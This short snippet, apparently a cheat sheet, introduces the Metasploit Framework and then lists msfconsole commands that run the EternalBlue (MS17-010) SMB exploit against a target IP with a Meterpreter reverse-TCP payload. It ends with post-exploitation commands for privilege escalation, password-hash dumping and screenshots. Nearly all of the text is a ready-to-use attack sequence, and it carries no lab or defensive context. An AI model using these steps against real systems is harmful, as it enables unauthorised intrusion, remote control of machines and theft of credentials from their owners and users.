Metasploit Framework is the most widely used offensive security platform for developing and executing exploits.
msfconsole
search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.10
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit
# Post-exploitation:
sysinfo | hashdump | getsystem | screenshot